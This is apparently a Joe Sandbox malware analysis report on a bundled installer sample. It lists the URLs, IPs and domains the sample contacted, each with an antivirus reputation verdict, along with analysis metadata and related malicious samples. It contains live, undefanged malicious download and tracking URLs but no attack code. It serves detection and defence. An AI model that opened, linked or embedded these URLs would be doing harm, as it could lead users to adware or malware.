http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ%3D%3D&ti=1705854428	false	Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=1657	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1&t=1705854427	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4&t=1705854427	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=2&a=2577&on=419&o=1661	true	Avira URL Cloud: safe	unknown
http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU3RhY2tzIFR3ZWFrZXIgNTE2MSBGaW5hbCAgT1MgIFNDbG91ZFdTLmV4ZQ==&sub=2577&ps=6576a2b77bafa	true	Avira URL Cloud: malware	unknown
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427	true	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2577&on=424&o=1664	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1657&a=2577&dn=415&spot=4&t=17058	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	false		high
https://digitalpulsedata.com/tos	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2577&dn=420&spot=1&t=1	nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427oq	setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6	setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658S	setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2577&dn=244&spot=3&t=170585	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2577&dn=424&spot=5&t=1	nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.0000000000935000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427pY	setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2577&dn=416&spot=6&t=1	nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=16582577&dn=415&spot=4&t=17058544271	setup.exe, 00000003.00000002.3399973361.0000000005410000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_uki.php?tim=1705854427&rcc=US&c=2577&p=0.92http://beadhouse.xyz/a	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://www.pcmaintainer.com/eula	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2577&dn=244&spot=3&	setup.exe, 00000003.00000002.3397288770.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427)&S	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130754913.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130248820.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000000.2133112824.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J242U.tmp.2.dr, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp.0.dr	false	URL Reputation: safe	unknown
http://beadhouse.xyz/ows	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.innosetup.com/	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130754913.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2130248820.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000000.2133112824.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-J242U.tmp.2.dr, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp.0.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://beadhouse.xyz/	setup.exe, 00000003.00000002.3397288770.00000000005B1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2577&dn=424&spot=5&t=17	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2577&dn=420&spot=1&t=17	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427InnoDownloadPlugin/1.5/USERAGENT/silentget1023	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/eula/computers/	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false		high
https://www.7-zip.org/	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000025FA000.00000004.00001000.00020000.00000000.sdmp	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2577&dn=420&spot=1&t=17058	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2577&on=416&o=1658B	setup.exe, 00000003.00000002.3397288770.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2577&dn=416&spot=6&t=17	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3397219463.0000000000942000.00000004.00000020.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2249347472.0000000000935000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://advancedmanager.io/eula	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://destructionheat.site/tracker/thank_you.php?trk=2577	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.000000000251D000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1658&a=2577&dn=416&spot=6&t=17058	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2577&dn=424&spot=5&t=17058	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/Xn	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/pe/build.php?pe=&sub=2577&source=3876&s1=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMD	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, is-9CN42.tmp.2.dr	false	Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2577&on=424&o=1664577&dn=244&spot=3&t=1705854427?nb	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2577&dn=415&spot=4&t=1	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://advancedmanager.io/privacy-policy	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2577&dn=419&spot=2&t=17	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705854427&rcc=US&c=2577&p=0.9Inno	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2577&dn=244&spot=3&t=170	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2577&dn=419&spot=2&t=1	nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2577&dn=244&spot=3&t=17	nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2577&dn=420&spot=1	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000561000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=1657%	setup.exe, 00000003.00000002.3397288770.00000000005C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	setup.exe, 00000003.00000000.2254170270.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-0S4HI.tmp.2.dr, is-RR58F.tmp.2.dr	false		high
http://restfork.website/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbHVlU	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.000000000259B000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000024EF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3400479226.00000000038AF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	false	Avira URL Cloud: malware	unknown
http://windactivity.online/bo.php?p=3876&t=47928064&title=Qmx1ZVN0YWNrcyA1MTQxMDEwMDcgU3RhYmxlICBCbH	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000003.2128277310.0000000002540000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, 00000000.00000002.3397136589.0000000002373000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000003.2135216423.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.00000000024EF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3400479226.00000000038AF000.00000004.00001000.00020000.00000000.sdmp, 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp, 00000002.00000002.3398378676.0000000002541000.00000004.00001000.00020000.00000000.sdmp, unins000.dat.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2577&dn=424&spot=5	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2577&dn=415&spot=4	setup.exe, 00000003.00000002.3397288770.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2577&dn=419&spot=2&t=17058	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	setup.exe, setup.exe, 00000003.00000000.2254170270.0000000000409000.00000008.00000001.01000000.00000007.sdmp, setup.exe, 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmp, is-0S4HI.tmp.2.dr, is-RR58F.tmp.2.dr	false		high
http://beadhouse.xyz/api_pedl.php?spot=3&a=2577&on=244&o=331Zu	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3876&cc=US&t=1705854427K&q	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.thedownloadplanet.com/termsofuse	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2577&on=415&o=16572577&dn=420&spot=1&t=1705854427	setup.exe, 00000003.00000002.3399973361.0000000005410000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcmaintainer.com/privacy	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: malware	unknown
http://sto.farmscene.website/track_polos.php?tim=1705854427&rcc=US&c=2577&p=0.9	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/privacy/	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2577&dn=419&spot=2	setup.exe, 00000003.00000002.3397288770.000000000057F000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2577&dn=415&spot=4&t=17	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_uki.php?tim=1705854427&rcc=US&c=2577&p=0.92	setup.exe, 00000003.00000002.3397288770.0000000000510000.00000004.00000020.00020000.00000000.sdmp, nsv5F72.tmp.3.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.38.59	beadhouse.xyz	United States	13335	CLOUDFLARENETUS	true
172.67.210.35	antsmemory.xyz	United States	13335	CLOUDFLARENETUS	true
104.21.61.51	restfork.website	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1378312
Start date and time:	2024-01-21 17:26:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe
Detection:	MAL
Classification:	mal42.troj.winEXE@5/24@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 40 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.38.59	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6&t=1705852624
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705789015
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2474&dn=416&spot=6&t=1705775816
172.67.210.35	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	antsmemory.xyz/pe/build.php?pe=&sub=2598&source=3890&s1=47892846&title=cnVzaWZpa2F0b3ItZGx5YS1hcm1hLWdvbGQtZWRpdGlvbi5leGU%3D&ti=1705850520
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	antsmemory.xyz/pe/build.php?pe=n&sub=&source=3851&s1=48335474&title=Q3J5c2lzIDIgUmVtYXN0ZXJlZCBUcmFpbmVyLmV4ZQ%3D%3D&ti=1705614122
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	antsmemory.xyz/pe/build.php?pe=n&sub=&source=3851&s1=48335474&title=Q3J5c2lzIDIgUmVtYXN0ZXJlZCBUcmFpbmVyLmV4ZQ%3D%3D&ti=1705613219
104.21.61.51	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
	92C190098753E597DC70B123CCD7CC790A6123A9622ED.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
restfork.website	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	92C190098753E597DC70B123CCD7CC790A6123A9622ED.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
beadhouse.xyz	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
antsmemory.xyz	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	104.21.23.90
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.23.90
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	sq5W8v3VZV.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	630DB15B4A855CA42E13666E2046C639A4C2847E0D1FC.exe	Get hash	malicious	AsyncRAT	Browse	104.20.23.46
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	file.exe	Get hash	malicious	LummaC, zgRAT	Browse	172.67.176.158
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.Win64.Vmprotect.10850.25534.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	BbTm8TrVqb.exe	Get hash	malicious	LummaC, AsyncRAT, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer	Browse	104.21.35.143
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.238
	SecuriteInfo.com.Trojan-Spy.AgentTesla.19330.30734.exe	Get hash	malicious	Unknown	Browse	172.64.151.101
	TgzLrzVYBu.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	qRNGy553ii.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	DOC_SCANNER_847464_8474.vbs	Get hash	malicious	Remcos	Browse	172.67.135.130
	PuZwdDGX86.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	B5pYT6AvvO.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Paid_invoice.vbs	Get hash	malicious	XWorm	Browse	104.21.84.67
